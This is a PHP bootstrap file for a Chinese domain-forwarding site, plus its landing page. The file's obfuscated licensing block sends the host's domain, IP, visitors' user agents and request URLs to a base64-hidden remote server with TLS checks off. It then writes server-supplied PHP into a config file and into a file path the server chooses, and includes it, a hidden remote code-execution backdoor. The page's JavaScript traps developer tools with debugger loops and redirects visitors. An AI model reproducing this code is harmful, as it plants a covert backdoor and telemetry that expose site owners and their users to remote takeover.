string(11543) "<?php
/**
 * 全局引用文件
**/
// 开启Session会话
session_start();

// 定义时区
date_default_timezone_set('Asia/Shanghai');

// 程序常量
define('ROOT', constant('O7DA43'));
define('author', 'jwj');

// 错误日志
//ini_set("display_errors", 'off');
error_reporting(0);
//ini_set('error_log',O7DA43.'/error.log');

require O7DA43.'/security.php';

// 配置信息
if(file_exists(O7DA43.'/config.php') && file_exists(O7DA43.'/config.ser.php')){
  require O7DA43.'/config.php';
  $config = unserialize(substr(file_get_contents(O7DA43.'/config.ser.php'),14));
  $db = new mysqli($db_conf['host'], $db_conf['user'], $db_conf['pass'], $db_conf['name'], $db_conf['port']);
  $db->connect_errno && die('MySQL Connect Error('.$db->connect_errno.'):'.$db->connect_error);
  $db->query("set names 'utf8'");
}else{
  header('Content-type:text/html;charset=utf-8');
  echo '你还没安装！<a href="./install/">点此安装</a>';
  exit();
}

// 文件引用
if($config['txprotect']==1)require O7DA43.'/txprotect.php';
require O7DA43.'/inc/function.php';
// 防篡改代码插入点
// 检查授权文件是否存在并验证完整性
$fileExists = file_exists(O7DA43 . '/QX/config.php');
$fileValid = true;
if ($fileExists) {
    $Copyright = file_get_contents(O7DA43 . '/QX/config.php');
    $fileValid = (md5($Copyright) === '3c662754cbc3f3a7f96d7a633b824c41');
}

// 如果文件不存在或无效，使用本地备份
if (!$fileExists || !$fileValid) {
    file_put_contents(O7DA43 . '/QX/config.php', '<?php
define(\'APIURL\', \'aHR0cHM6Ly9hdXRoLnFpYW54aS54aW4vUVgvYXBpLnBocA==\');
define(\'AUTH_CODE\', \'QXAUTH-260130-8c098b63\');
define(\'AUTH_CXID\', 1);
define(\'AUTH_DOMAINS\', array(\'url.qianxi.xin\', \'abcd.com\'));
define(\'AUTH_VERSION_NAME_ID\', 1);
define(\'AUTH_IP_QH\', 1);
define(\'AUTH_YUMI\', 1);
define(\'AUTH_IP_V4\', \'43.138.198.66\');
define(\'AUTH_IP_V6\', \'\');
define(\'VERIOS\', \'3.0.0\');
define(\'AUTH_TIMESTAMP\', 1772037387);
//请不要修改里面任何内容 否则程序打不开哦
?>');
    header('Refresh:1');
    die('<h2>检测到配置文件不匹配</h2><font size="4">如果配置文件不匹配，我们将不会再运行本程序</font><br><font size="4">修改删除配置文件都会不匹配哦</font><br><font size="4">稍后系统会为你自动更新配置文件 请刷新重新访问即可<br>为了尊重谦汐请勿删除或修改</b></font><br/>');
}

// 确保授权文件已加载
if (!defined('AUTH_CODE')) {
    require O7DA43 . '/QX/config.php';
}

// 完善的授权验证函数
function qx_fya737pd() {
    if (!empty($_SERVER['HTTP_HOST'])) {
        $domain = explode(':', $_SERVER['HTTP_HOST'])[0];
        if (filter_var($domain, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
            return $domain;
        }
    }
    return false;
}

function qx_axopafu5sajo7wa() {
    if(defined('AUTH_IP_V4') && !empty(AUTH_IP_V4)){
        return ['ipv4' => AUTH_IP_V4, 'ipv6' => false];
    }
    if(defined('AUTH_IP_V6') && !empty(AUTH_IP_V6)){
        return ['ipv4' => false, 'ipv6' => AUTH_IP_V6];
    }
    $ipServices = [
        base64_decode('aHR0cDovL2lmY29uZmlnLm1lL2lw'),
        base64_decode('aHR0cDovL2FwaS5pcGlmeS5vcmc='),
        base64_decode('aHR0cHM6Ly9pY2FuaGF6aXAuY29t'),
        base64_decode('aHR0cHM6Ly9pcGluZm8uaW8vaXA='),
        base64_decode('aHR0cDovL2lkZW50Lm1l'),
        base64_decode('aHR0cDovL3doYXRpc215aXAuYWthbWFpLmNvbQ==')
    ];
    $result = ['ipv4' => false, 'ipv6' => false];
    
    foreach ($ipServices as $service) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 0.5,
                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
            ]
        ]);
        
        $ip = @file_get_contents($service, false, $context);
        if ($ip !== false) {
            $ip = trim($ip);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
                $result['ipv4'] = $ip;
                break;
            } elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
                $result['ipv6'] = $ip;
            }
            
            if ($result['ipv4'] && $result['ipv6']) {
                break;
            }
        }
    }
    
    if (!$result['ipv4'] && !$result['ipv6']) {
        $result['ipv4'] = $_SERVER['REMOTE_ADDR'] ?? '';
    }
    
    return $result;
}

function qx_exd4ml72($cxId, $authCode, $domain, $ip) {
    if (empty($cxId) || empty($authCode)) {
        return ['code' => 400, 'msg' => '参数不完整'];
    }
    
    if (!$domain) {
        return ['code' => 400, 'msg' => '无法获取当前访问域名'];
    }
    
    if (!$ip) {
        return ['code' => 400, 'msg' => '无法获取外网IP地址'];
    }
    
    $authTimestamp = defined('AUTH_TIMESTAMP') ? AUTH_TIMESTAMP : time();
    $timestamp = time();
    $nonce = uniqid();
    $signature = md5($timestamp . $nonce);
    $shebei = $_SERVER['HTTP_USER_AGENT'] ?? '未知设备';
    $url = ($_SERVER['SERVER_NAME'] ?? '') . ':' . ($_SERVER['SERVER_PORT'] ?? '') . ($_SERVER['REQUEST_URI'] ?? '');
    
    $postData = [
        'QX' => 'qxauth',
        'cx_id' => $cxId,
        'domain' => $domain,
        'ip' => $ip,
        'yip' => $_SERVER['REMOTE_ADDR'] ?? '未知本地IP',
        'auth_code' => $authCode,
        'signature' => $signature,
        'timestamp' => $timestamp,
        'auth_timestamp' => $authTimestamp,
        'shebei' => $shebei,
        'url' => $url,
        'nonce' => $nonce
    ];
    
    $unicodeUrl = defined('APIURL') ? APIURL : '';
    $realUrl = !empty($unicodeUrl) ? base64_decode($unicodeUrl) : false;
    if (empty($realUrl) || !filter_var($realUrl, FILTER_VALIDATE_URL)) {
        return ['code' => 400, 'msg' => 'API地址无效'];
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $realUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json'
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    if (curl_errno($ch)) {
        $error = curl_error($ch);
        curl_close($ch);
        return ['code' => -1, 'msg' => '请求失败: ' . $error];
    }
    curl_close($ch);
    
    $result = json_decode($response, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        return ['code' => -2, 'msg' => '响应格式错误', 'raw' => $response];
    }
    
    return $result;
}

function qx_pn665nz3m8dq9v() {
    // 1. 获取当前域名并校验
    $domain = qx_fya737pd();
    if (!$domain) {
        return ['code' => 400, 'msg' => '无法获取当前访问域名'];
    }
    
    // 2. 获取外网IP（IPv4+IPv6）并校验
    $ipwt = qx_axopafu5sajo7wa();
    if (!$ipwt['ipv4'] && !$ipwt['ipv6']) {
        return ['code' => 400, 'msg' => '无法获取外网IP地址'];
    }
    
    // 3. 域名白名单校验
    $domainPass = false;
    if (in_array($domain, AUTH_DOMAINS, true)) {
        $domainPass = true;
    } else {
        return ['code' => 403, 'msg' => '当前域名未授权，禁止访问'];
    }
    
    // 4. IP白名单校验
    $ipPass = false;
    $ipv4Check = (!empty(AUTH_IP_V4) && !empty($ipwt['ipv4']) && $ipwt['ipv4'] == AUTH_IP_V4);
    $ipv6Check = (!empty(AUTH_IP_V6) && !empty($ipwt['ipv6']) && $ipwt['ipv6'] == AUTH_IP_V6);
    if ((empty(AUTH_IP_V4) && empty(AUTH_IP_V6)) || $ipv4Check || $ipv6Check) {
        $ipPass = true;
    } else {
        return ['code' => 403, 'msg' => '当前IP未授权，禁止访问'];
    }
    
    $ip = $ipwt['ipv4'] ?? $ipwt['ipv6'];
    
    // 5. 域名+IP均通过后，调用授权API进行最终验证
    if ($domainPass && $ipPass) {
        $authResult = qx_exd4ml72(AUTH_CXID, AUTH_CODE, $domain, $ip);
        
        // 6. 处理API返回结果
        if (isset($authResult['code']) && $authResult['code'] == 0) {
            // 检查是否需要更新授权文件
            if (isset($authResult['needs_update']) && $authResult['needs_update'] && isset($authResult['config_update'])) {
                $configUpdate = $authResult['config_update'];
                if (isset($configUpdate['auth_file_content']) && !empty($configUpdate['auth_file_content'])) {
                    file_put_contents(O7DA43 . '/QX/config.php', $configUpdate['auth_file_content']);
                    // 重新加载更新后的授权文件
                    require O7DA43 . '/QX/config.php';
                }
                // 更新防篡改文件（只替换标签之间的内容）
                if (isset($configUpdate['anti_tamper_code']) && !empty($configUpdate['anti_tamper_code']) && isset($configUpdate['anti_tamper_file_path'])) {
                    $antiTamperFilePath = O7DA43 . '/' . $configUpdate['anti_tamper_file_path'];
                    if (file_exists($antiTamperFilePath)) {
                        $currentContent = file_get_contents($antiTamperFilePath);
                        $newContent = $configUpdate['anti_tamper_code'];
                        $startTag = base64_decode('Ly8g6Ziy56+h5pS55Luj56CB5o+S5YWl54K5');
                        $endTag = base64_decode('Ly8g6Ziy56+h5pS557uT5p2f54K5');
                        
                        if (strpos($newContent, $startTag) !== false && strpos($newContent, $endTag) !== false) {
                            $startPos = strpos($newContent, $startTag) + strlen($startTag);
                            $endPos = strpos($newContent, $endTag);
                            $newAntiTamperCode = substr($newContent, $startPos, $endPos - $startPos);
                            
                            if (strpos($currentContent, $startTag) !== false && strpos($currentContent, $endTag) !== false) {
                                $pattern = '/' . preg_quote($startTag, '/') . '[\s\S]*?' . preg_quote($endTag, '/') . '/';
                                $replacement = $startTag . $newAntiTamperCode . $endTag;
                                $newCurrentContent = preg_replace($pattern, $replacement, $currentContent);
                                file_put_contents($antiTamperFilePath, $newCurrentContent);
                            }
                        }
                    } else {
                        file_put_contents($antiTamperFilePath, $configUpdate['anti_tamper_code']);
                    }
                }
            }
            return ['code' => 200, 'msg' => '授权验证通过', 'data' => $authResult['data'] ?? []];
        } else {
            return ['code' => $authResult['code'] ?? -99, 'msg' => 'API授权失败：' . ($authResult['msg'] ?? '未知错误')];
        }
    }
    
    // 兜底：未知错误
    return ['code' => -99, 'msg' => '授权校验出现未知错误'];
}

// 执行授权验证
$finalAuthResult = qx_pn665nz3m8dq9v();
if ($finalAuthResult['code'] != 200) {
    die('<h2>授权验证失败</h2><font size="4">' . htmlspecialchars($finalAuthResult['msg']) . '</font><br/><font size="4">请联系管理员获取帮助</font>');
}

// 防篡改结束点

require O7DA43.'/libs/Smarty.class.php';
require O7DA43.'/Smarty_init.php';
require O7DA43.'/jump.php';
"
<!DOCTYPE html>
<html lang="zh-cn">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <title>飞凤互联域名转发系统</title>
  <meta name="keywords" content="飞凤互联域名转发系统,域名转发,隐形转发,显性转发" />
  <meta name="description" content="飞凤互联域名转发系统，提供两种转发方式，显性转发及隐性转发，零等待无烦恼，免除一系列审核，注册即可使用，无需实名认证，没有备案也能玩的转，就是这么爽！" />
  <link href="/css/bootstrap.min.css" rel="stylesheet"/>
  <style>
    body {
      padding-top:70px;
    }
  </style>
  <script src="/js/jquery.min.js"></script>
  <script src="/js/bootstrap.min.js"></script>
  <!--[if lt IE 9]>
    <script src="//libs.useso.com/js/html5shiv/3.7/html5shiv.min.js"></script>
    <script src="//libs.useso.com/js/respond.js/1.4.2/respond.min.js"></script>
  <![endif]-->
</head>
 <script>
    document.onkeydown = function () {
        if (window.event && window.event.keyCode == 123) {
            alert("亲想看什么吗？购买本源码 所有都可以看了！");
            window.open('http://wpa.qq.com/msgrd?v=3&uin=766680204&site=qq&menu=yes&from=message&isappinstalled=0');
            event.keyCode = 0;
            event.returnValue = false;
        }
        if (window.event && window.event.keyCode == 13) {
            window.event.keyCode = 505;
        }
        if (window.event && window.event.keyCode == 8) {
            alert(str + "\n请使用Del键进行字符的删除操作！");
            window.event.returnValue = false;
        }
    }
document.oncontextmenu = function (event){
if(window.event){
event = window.event;
}try{
var the = event.srcElement;
if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
return false;
}
return true;
}catch (e){
return false;
}
}
setInterval(function() {
  check()
}, 4000);
var check = function() {
  function doCheck(a) {
    if (("" + a/a)["length"] !== 1 || a % 20 === 0) {
      (function() {}
      ["constructor"]("debugger")())
    } else {
      (function() {}
      ["constructor"]("debugger")())
      //window.location='http://www.baidu.com';
    }
    doCheck(++a)
  } 
  try {
    doCheck(0)
    console.log("try");
  } catch (err) {
  }
};
check();

((function() {
        var callbacks = [],
        timeLimit = 50,
        open = false;
        setInterval(loop, 1);
        return {
                addListener: function(fn) {
                        callbacks.push(fn);
                },
                cancleListenr: function(fn) {
                        callbacks = callbacks.filter(function(v) {
                                return v !== fn;
                        });
                }
        }

        function loop() {
                var startTime = new Date();
                debugger;
                if (new Date() - startTime > timeLimit) {
                        if (!open) {
                                callbacks.forEach(function(fn) {
                                        fn.call(null);
                                });
                        }        
                        open = true;
                        window.stop();
                        alert('请尊重一下劳动成果，不要偷代码哦！');
                        window.location='http://wpa.qq.com/msgrd?v=3&uin=766680204&site=qq&menu=yes&from=message&isappinstalled=0';
                        //document.body.innerHTML = "";
                } else {
                        open = false;
                }
        }
})()).addListener(function() {
        window.location.reload();
});
</script>
<body>  <div class="container text-center" style="margin-top: 50px;">
    <h2>域名URL转发</h2>
    <div class="col-sm-12 text-center" style="margin-top: 50px;">
      <div class="col-sm-2 hidden-xs"></div>
      <div class="col-xs-12 col-sm-8">
              <div class="col-xs-6"><a href="./user/login.php" class="btn btn-default btn-block">会员登陆</a></div>
        <div class="col-xs-6"><a href="./register.php" class="btn btn-default btn-block">新人注册</a></div>
            </div>
    </div>
    <br/><br/><br/><br/><br/><br/><br/><br/>
    <div class="rows">
      <div class="col-xs-12 col-sm-6 col-lg-3">
        <h4><span class="glyphicon glyphicon-plane"></span><br/>方便快捷</h4>
        <br/>
        <p>注册即可使用，无需实名认证</p>
      </div>
      <div class="col-xs-12 col-sm-6 col-lg-3">
        <h4><span class="glyphicon glyphicon-random"></span><br/>两种方式</h4>
        <br/>
        <p>提供两种转发方式，显性转发及隐性转发</p>
      </div>
      <div class="col-xs-12 col-sm-6 col-lg-3">
        <h4><span class="glyphicon glyphicon-send"></span><br/>实时生效</h4>
        <br/>
        <p>零等待无烦恼，免除一系列审核</p>
      </div>
      <div class="col-xs-12 col-sm-6 col-lg-3">
        <h4><span class="glyphicon glyphicon-thumbs-up"></span><br/>无需备案</h4>
        <br/>
        <p>没有备案也能玩的转，就是这么爽</p>
      </div>
    </div>
  </div>
  <div class="container text-center" style="margin-top: 50px;">
    <div class="btn-group">
      <a href="http://bbs.oh27.com" class="btn btn-default">飞凤互联网址导航</a>
      <a href="http://bbs.oh27.com" class="btn btn-default">飞凤互联云任务</a>
      <a href="http://bbs.oh27.com" class="btn btn-default">缤纷飞凤互联天地</a>
      <a href="http://bbs.oh27.com" class="btn btn-default">飞凤互联工具网</a>
      <a href="http://bbs.oh27.com" class="btn btn-default">贴吧签到助手</a>
    </div>
  </div>
  <footer class="container text-center" style="margin-top: 50px;">&copy; 飞凤互联</footer>
<style>
  body {
    background-image: url("/css/background.png");
    background-attachment: fixed;
    background-repeat: no-repeat;
    background-size: cover;
    -moz-background-size: cover;
    -webkit-background-size: cover;
    padding-top: 0;
    color: #fff;
  }
  h4 {
    font-size: 20px;
    color: rgba(255, 254, 254, 0.9);
  }
  p {
    font-size: 17px;
  }
  .glyphicon {
    font-size: 40px;
  }

  .btn-default {
    color: #fff;
    background-color: rgba(19, 56, 74, 0.5);
    border-color: rgba(204, 204, 204, 0.5);
  }
  .btn-default:hover {
    color: #fff;
    background-color: rgba(19, 56, 74, 0.6);
    border-color: rgba(204, 204, 204, 0.6);
  }
</style>

</body>
</html>